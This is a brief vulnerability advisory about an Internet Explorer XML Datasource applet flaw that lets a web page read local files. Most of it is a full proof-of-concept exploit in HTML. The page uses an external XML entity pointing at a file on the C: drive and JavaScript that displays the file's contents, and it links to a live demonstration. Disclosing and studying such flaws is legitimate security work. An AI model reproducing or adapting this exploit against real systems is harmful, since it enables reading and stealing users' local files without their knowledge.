|
Microsoft Internet Explorer XML Datasource Applet File Disclosure Vulnerability
The following exploit code was contributed by Jelmer <jelmer@kuperus.xs4all.nl> and will display the contents of the jelmer.txt file in the C:\ folder: <html> <head> <base href="file:///C:/"> </head> <body> <applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true"> <?xml version="1.0"?> <!DOCTYPE file [ <!ELEMENT file (#PCDATA) > <!ENTITY contents SYSTEM "file:///C:/jelmer.txt"> ]> <file> &contents; </file> </applet> <script language="javascript"> setTimeout("showIt()",2000); function showIt() { var jelmer = xmldso.getDocument(); alert(jelmer.Text); } </script> </body> </html> A demonstration may be viewed at http://www.xs4all.nl/~jkuperus/msieread.htm. |
|
|
Privacy Statement |